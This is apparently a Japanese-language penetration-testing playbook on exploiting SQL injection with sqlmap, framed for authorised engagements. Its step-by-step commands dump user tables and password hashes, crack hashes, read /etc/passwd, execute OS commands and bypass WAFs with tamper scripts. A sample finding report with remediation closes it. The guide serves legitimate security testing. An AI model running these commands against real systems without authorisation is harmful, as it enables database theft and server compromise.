exploiting-sql-injection-with-sqlmap

sqlmap を使用した SQL インジェクションの悪用

使用する場面

• 許可を得た Web アプリケーションのペネトレーションテスト業務
• 手動テストで、パラメーター、ヘッダー、または Cookie に SQL インジェクションの可能性がある箇所が見つかった場合
• Burp Suite や OWASP ZAP などの自動スキャナーによる SQL インジェクションの検出結果を検証する場合
• バックエンドデータベースからデータを抽出し、SQL インジェクションの影響を実証する必要がある場合
• SQL インジェクションの悪用を伴う CTF チャレンジ

前提条件

• 許可：対象に対する書面によるペネトレーションテスト契約（Rules of Engagement）
• sqlmap：Kali Linux では pip install sqlmap または apt install sqlmap でインストールします
• Python 3.6+：sqlmap の実行に必要なランタイム
• Burp Suite（任意）：HTTP リクエストの取得と再送信に使用します
• 対象へのアクセス：対象の Web アプリケーションへのネットワーク接続
• プロキシ対応ブラウザー：リクエストを傍受するための FoxyProxy を導入した Firefox

ワークフロー

ステップ 1：インジェクションの可能性がある箇所を特定する

アプリケーションを手動で操作し、データベースとやり取りするパラメーターを特定します。Burp Suite を使ってリクエストを取得します。

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

ステップ 2：sqlmap で基本的な検出スキャンを実行する

疑わしいインジェクション箇所に対して sqlmap を実行し、脆弱性を確認してデータベースの種類を特定します。

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

ステップ 3：データベース構造を列挙する

インジェクションを確認したら、データベース、テーブル、カラムを列挙します。

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

ステップ 4：対象テーブルからデータを抽出する

影響を実証するため、機密テーブルの内容をダンプします。

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

ステップ 5：高度な悪用手法をテストする

OS レベルのアクセスやファイル操作をテストして、影響の全容を評価します。

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

ステップ 6：改ざんスクリプトを使って WAF／フィルターを回避する

Web アプリケーションファイアウォールや入力フィルターによって基本的なペイロードがブロックされる場合は、改ざんスクリプトを使用します。

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# List all available tamper scripts
sqlmap --list-tampers

ステップ 7：レポートを作成して後片付けをする

検出結果を記録し、作成したアーティファクトを削除します。

# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/

# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# Clean sqlmap session data after engagement
sqlmap --purge

主要な概念

概念	説明
UNION ベースの SQLi	UNION SELECT を使用して、攻撃者のクエリ結果を元のクエリ出力に追加します
ブラインド Boolean SQLi	アプリケーションの真偽応答を観察し、1 ビットずつデータを推測します
ブラインド時間ベース SQLi	データベースのスリープ関数（例：SLEEP(5)）を使用し、応答の遅延からデータを推測します
エラーベース SQLi	HTTP 応答で返される詳細なデータベースエラーメッセージを通じてデータを抽出します
スタッククエリ	セミコロンで区切った複数の SQL 文を実行し、INSERT／UPDATE／DELETE 操作を行います
アウトオブバンド SQLi	データベースサーバーが開始する DNS または HTTP リクエストを通じてデータを流出させます
改ざんスクリプト	WAF や入力サニタイズフィルターを回避するためにペイロードを変更する sqlmap のプラグインです
セカンドオーダー SQLi	インジェクションされたペイロードが保存され、後で異なるクエリコンテキストで実行されます

ツールとシステム

ツール	用途
sqlmap	SQL インジェクションの検出と悪用を自動化するフレームワーク
Burp Suite Professional	リクエストの傍受、変更、再送信を行う HTTP プロキシ
OWASP ZAP	Web アプリケーションのスキャンとプロキシに使用できる、Burp の無料代替ツール
Havij	GUI を備えた自動 SQL インジェクションツール（Windows）
jSQL Injection	SQL インジェクションテスト用の Java ベース GUI ツール
DBeaver/DataGrip	抽出したデータ構造を検証するためのデータベースクライアント

よくあるシナリオ

シナリオ 1：EC サイトの商品ページにおける SQLi

商品詳細ページが id パラメーターを SQL クエリに直接使用しています。sqlmap を使って決済情報を含む顧客データベース全体を抽出し、ビジネスへの重大な影響を実証します。

シナリオ 2：ログインフォームの回避

ログインフォームがユーザー入力を認証クエリに連結しています。これを悪用して認証を回避し、データベースに保存されているすべてのユーザー認証情報を列挙します。

シナリオ 3：WAF で保護された検索機能

検索機能には SQL インジェクションの脆弱性がありますが、WAF で保護されています。space2comment や between などの改ざんスクリプトを使ってペイロードをエンコードし、フィルタールールを回避します。

シナリオ 4：Cookie ベースのブラインド SQL インジェクション

セッション Cookie の値がサーバー側でデータベースクエリに使用されます。時間ベースのブラインドインジェクション手法を使い、1 文字ずつデータを抽出します。

出力形式

## SQL Injection Finding

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns